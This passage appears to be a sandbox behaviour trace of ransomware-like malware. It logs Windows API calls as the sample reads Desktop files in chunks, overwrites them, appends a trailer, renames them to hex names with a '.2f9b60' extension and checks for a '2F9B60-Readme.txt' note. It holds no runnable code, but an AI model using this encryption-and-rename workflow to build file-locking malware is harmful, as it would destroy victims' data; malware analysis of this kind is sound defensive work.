lpNumberOfBytesWritten=0x2145fc70, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x2145fc70*=0x102, lpOverlapped=0x0) returned 1 [0101.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869b40 [0101.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0101.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619a0) returned 1 [0101.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0101.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0101.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0101.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0101.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0101.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20261970 [0101.902] sprintf (in: _Dest=0x20261970, _Format="%c%c" | out: _Dest="28") returned 2 [0101.902] sprintf (in: _Dest=0x20261972, _Format="%c%c" | out: _Dest="30") returned 2 [0101.902] sprintf (in: _Dest=0x20261974, _Format="%c%c" | out: _Dest="6c") returned 2 [0101.902] sprintf (in: _Dest=0x20261976, _Format="%c%c" | out: _Dest="2b") returned 2 [0101.902] sprintf (in: _Dest=0x20261978, _Format="%c%c" | out: _Dest="3f") returned 2 [0101.902] sprintf (in: _Dest=0x2026197a, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.903] sprintf (in: _Dest=0x2026197c, _Format="%c%c" | out: _Dest="24") returned 2 [0101.903] sprintf (in: _Dest=0x2026197e, _Format="%c%c" | out: _Dest="67") returned 2 [0101.903] sprintf (in: _Dest=0x20261980, _Format="%c%c" | out: _Dest="8d") returned 2 [0101.903] sprintf (in: _Dest=0x20261982, _Format="%c%c" | out: _Dest="ea") returned 2 [0101.903] sprintf (in: _Dest=0x20261984, _Format="%c%c" | out: _Dest="c7") returned 2 [0101.903] sprintf (in: _Dest=0x20261986, _Format="%c%c" | out: _Dest="28") returned 2 [0101.903] sprintf (in: _Dest=0x20261988, _Format="%c%c" | out: _Dest="9d") returned 2 [0101.903] sprintf (in: _Dest=0x2026198a, _Format="%c%c" | out: _Dest="13") returned 2 [0101.903] sprintf (in: _Dest=0x2026198c, _Format="%c%c" | out: _Dest="70") returned 2 [0101.903] sprintf (in: _Dest=0x2026198e, _Format="%c%c" | out: _Dest="e9") returned 2 [0101.903] RtlInitAnsiString (in: DestinationString=0x2145fce8, SourceString="28306c2b3f6d24678deac7289d1370e9" | out: DestinationString="28306c2b3f6d24678deac7289d1370e9") [0101.903] RtlAnsiStringToUnicodeString (in: DestinationString=0x2145fcb8, SourceString="28306c2b3f6d24678deac7289d1370e9", AllocateDestinationString=1 | out: DestinationString="28306c2b3f6d24678deac7289d1370e9") returned 0x0 [0101.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd973a0 [0101.903] wcscat (in: _Dest=0x1b869b40, _Source="28306c2b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\28306c2b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\28306c2b" [0101.903] wcscat (in: _Dest=0x1b869b40, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\28306c2b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\28306c2b.2f9b60" [0101.903] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\28306c2b.2f9b60", NtPathName=0x2145fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\28306c2b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1b90 [0108.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1b90) returned 1 [0108.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eea0) returned 1 [0108.970] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x2145fcf8, FileInformation=0x2145fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2145fcf8, FileInformation=0x2145fd08) returned 0x0 [0108.970] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x2145fcf8, FileInformation=0x2145fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0108.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0108.983] FlushFileBuffers (hFile=0x14c0) returned 1 [0108.988] CloseHandle (hObject=0x14c0) returned 1 [0108.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869a40 [0108.990] wcscpy (in: _Dest=0x1b869a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.990] wcscat (in: _Dest=0x1b869a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.990] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0108.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864220) returned 1 Thread: id = 785 os_tid = 0x1328 [0098.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HFeGusa6wyYmkE0VxTu.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hfegusa6wyymke0vxtu.flv")) returned 0x20 [0098.780] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HFeGusa6wyYmkE0VxTu.flv", dwFileAttributes=0x20) returned 1 [0098.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HFeGusa6wyYmkE0VxTu.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hfegusa6wyymke0vxtu.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c4 [0098.781] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x2209f740 | out: lpFileSize=0x2209f740*=84099) returned 1 [0098.781] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x1487f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.781] ReadFile (in: hFile=0x14c4, lpBuffer=0x2209f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2209f708, lpOverlapped=0x0 | out: lpBuffer=0x2209f6c0*, lpNumberOfBytesRead=0x2209f708*=0x4, lpOverlapped=0x0) returned 1 [0098.782] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0098.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0098.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0098.783] NtQuerySystemTime (in: CurrentTime=0x2209f600 | out: CurrentTime=0x2209f600*=132462177043090000) returned 0x0 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x4f939749 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x65baa6ec [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x68e00ffb [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x4855e119 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x4c5d139d [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x27ddd4a3 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x1a35a832 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x32baabd [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x20e1b7a3 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x448d335f [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x4531d343 [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x55b715ce [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0xae187b [0098.783] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0xba165d0 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x2be8e386 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x276287d6 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x403b47ad [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x98189b3 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x42c9a215 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x759612b9 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x11c2a902 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x534736b2 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x12c3bd82 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x283a2c3c [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x7b76b08e [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x1caf44ef [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x1aeadb4e [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x3a2c70e0 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x6d1f4678 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x5517afd2 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0xcb0e857 [0098.784] RtlRandomEx (in: Seed=0x2209f5f0 | out: Seed=0x2209f5f0) returned 0x5a476a0d [0098.795] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.795] ReadFile (in: hFile=0x14c4, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2209f660, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x2209f660*=0x3c00, lpOverlapped=0x0) returned 1 [0098.795] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0098.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b60) returned 1 [0098.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202100b0 [0098.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0098.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0098.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0098.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.796] WriteFile (in: hFile=0x14c4, lpBuffer=0x202100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2209f660, lpOverlapped=0x0 | out: lpBuffer=0x202100b0*, lpNumberOfBytesWritten=0x2209f660*=0x3c00, lpOverlapped=0x0) returned 1 [0100.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202100b0) returned 1 [0100.514] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.514] ReadFile (in: hFile=0x14c4, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2209f660, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x2209f660*=0x3c00, lpOverlapped=0x0) returned 1 [0100.514] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ee0 [0100.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420540b0 [0100.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0100.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0100.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42022d00 [0100.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0100.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0100.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0100.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420540b0) returned 1 [0100.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ee0) returned 1 [0100.922] WriteFile (in: hFile=0x14c4, lpBuffer=0x42022d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2209f660, lpOverlapped=0x0 | out: lpBuffer=0x42022d00*, lpNumberOfBytesWritten=0x2209f660*=0x3c00, lpOverlapped=0x0) returned 1 [0101.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42022d00) returned 1 [0101.683] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x10c83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.683] ReadFile (in: hFile=0x14c4, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2209f660, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x2209f660*=0x3c00, lpOverlapped=0x0) returned 1 [0101.684] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x10c83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0101.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869e40 [0101.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0101.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0101.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42022d00 [0101.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0101.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0101.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 [0101.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0101.685] WriteFile (in: hFile=0x14c4, lpBuffer=0x42022d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2209f660, lpOverlapped=0x0 | out: lpBuffer=0x42022d00*, lpNumberOfBytesWritten=0x2209f660*=0x3c00, lpOverlapped=0x0) returned 1 [0101.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42022d00) returned 1 [0101.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9080 [0101.740] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.740] WriteFile (in: hFile=0x14c4, lpBuffer=0x1b86fcd0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2209f710, lpOverlapped=0x0 | out: lpBuffer=0x1b86fcd0*, lpNumberOfBytesWritten=0x2209f710*=0x160, lpOverlapped=0x0) returned 1 [0105.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0105.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c70 [0105.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c70) returned 1 [0105.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f930 [0105.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c70 [0105.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0105.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0105.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0105.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1ced9010 [0105.060] sprintf (in: _Dest=0x1ced9010, _Format="%c%c" | out: _Dest="68") returned 2 [0105.060] sprintf (in: _Dest=0x1ced9012, _Format="%c%c" | out: _Dest="74") returned 2 [0105.060] sprintf (in: _Dest=0x1ced9014, _Format="%c%c" | out: _Dest="50") returned 2 [0105.060] sprintf (in: _Dest=0x1ced9016, _Format="%c%c" | out: _Dest="d1") returned 2 [0105.060] sprintf (in: _Dest=0x1ced9018, _Format="%c%c" | out: _Dest="0a") returned 2 [0105.060] sprintf (in: _Dest=0x1ced901a, _Format="%c%c" | out: _Dest="08") returned 2 [0105.060] sprintf (in: _Dest=0x1ced901c, _Format="%c%c" | out: _Dest="f7") returned 2 [0105.060] sprintf (in: _Dest=0x1ced901e, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9020, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9022, _Format="%c%c" | out: _Dest="0f") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9024, _Format="%c%c" | out: _Dest="cc") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9026, _Format="%c%c" | out: _Dest="a7") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9028, _Format="%c%c" | out: _Dest="ae") returned 2 [0105.061] sprintf (in: _Dest=0x1ced902a, _Format="%c%c" | out: _Dest="99") returned 2 [0105.061] sprintf (in: _Dest=0x1ced902c, _Format="%c%c" | out: _Dest="a4") returned 2 [0105.061] sprintf (in: _Dest=0x1ced902e, _Format="%c%c" | out: _Dest="dc") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9030, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9032, _Format="%c%c" | out: _Dest="95") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9034, _Format="%c%c" | out: _Dest="c7") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9036, _Format="%c%c" | out: _Dest="46") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9038, _Format="%c%c" | out: _Dest="c0") returned 2 [0105.061] sprintf (in: _Dest=0x1ced903a, _Format="%c%c" | out: _Dest="61") returned 2 [0105.061] sprintf (in: _Dest=0x1ced903c, _Format="%c%c" | out: _Dest="18") returned 2 [0105.061] sprintf (in: _Dest=0x1ced903e, _Format="%c%c" | out: _Dest="65") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9040, _Format="%c%c" | out: _Dest="c2") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9042, _Format="%c%c" | out: _Dest="4b") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9044, _Format="%c%c" | out: _Dest="49") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9046, _Format="%c%c" | out: _Dest="6f") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9048, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.061] sprintf (in: _Dest=0x1ced904a, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.061] sprintf (in: _Dest=0x1ced904c, _Format="%c%c" | out: _Dest="b0") returned 2 [0105.061] sprintf (in: _Dest=0x1ced904e, _Format="%c%c" | out: _Dest="fc") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9050, _Format="%c%c" | out: _Dest="08") returned 2 [0105.061] sprintf (in: _Dest=0x1ced9052, _Format="%c%c" | out: _Dest="a1") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9054, _Format="%c%c" | out: _Dest="c6") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9056, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9058, _Format="%c%c" | out: _Dest="50") returned 2 [0105.062] sprintf (in: _Dest=0x1ced905a, _Format="%c%c" | out: _Dest="39") returned 2 [0105.062] sprintf (in: _Dest=0x1ced905c, _Format="%c%c" | out: _Dest="f5") returned 2 [0105.062] sprintf (in: _Dest=0x1ced905e, _Format="%c%c" | out: _Dest="07") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9060, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9062, _Format="%c%c" | out: _Dest="89") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9064, _Format="%c%c" | out: _Dest="bf") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9066, _Format="%c%c" | out: _Dest="b6") returned 2 [0105.062] sprintf (in: _Dest=0x1ced9068, _Format="%c%c" | out: _Dest="8e") returned 2 [0105.062] sprintf (in: _Dest=0x1ced906a, _Format="%c%c" | out: _Dest="d2") returned 2 [0105.062] RtlInitAnsiString (in: DestinationString=0x2209f788, SourceString="687450d10a08f7f0fe0fcca7ae99a4dc7b95c746c0611865c24b496faccbb0fc08a1c6ec5039f507fe89bfb68ed2" | out: DestinationString="687450d10a08f7f0fe0fcca7ae99a4dc7b95c746c0611865c24b496faccbb0fc08a1c6ec5039f507fe89bfb68ed2") [0105.062] RtlAnsiStringToUnicodeString (in: DestinationString=0x2209f758, SourceString="687450d10a08f7f0fe0fcca7ae99a4dc7b95c746c0611865c24b496faccbb0fc08a1c6ec5039f507fe89bfb68ed2", AllocateDestinationString=1 | out: DestinationString="687450d10a08f7f0fe0fcca7ae99a4dc7b95c746c0611865c24b496faccbb0fc08a1c6ec5039f507fe89bfb68ed2") returned 0x0 [0105.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118af0 [0105.062] wcscat (in: _Dest=0x4205d910, _Source="687450d10a08f7f0fe0fcca" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\687450d10a08f7f0fe0fcca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\687450d10a08f7f0fe0fcca" [0105.062] wcscat (in: _Dest=0x4205d910, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\687450d10a08f7f0fe0fcca.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\687450d10a08f7f0fe0fcca.2f9b60" [0105.062] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\687450d10a08f7f0fe0fcca.2f9b60", NtPathName=0x2209f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\687450d10a08f7f0fe0fcca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d2c0 [0105.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d2c0) returned 1 [0105.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf300) returned 1 [0105.712] NtQueryInformationFile (in: FileHandle=0x14c4, IoStatusBlock=0x2209f798, FileInformation=0x2209f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2209f798, FileInformation=0x2209f7a8) returned 0x0 [0105.712] NtSetInformationFile (FileHandle=0x14c4, IoStatusBlock=0x2209f798, FileInformation=0x2209f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d910) returned 1 [0105.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 [0105.721] FlushFileBuffers (hFile=0x14c4) returned 1 [0105.723] CloseHandle (hObject=0x14c4) returned 1 [0105.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f190 [0105.724] wcscpy (in: _Dest=0x1b85f190, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0105.724] wcscat (in: _Dest=0x1b85f190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0105.724] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0105.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0105.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 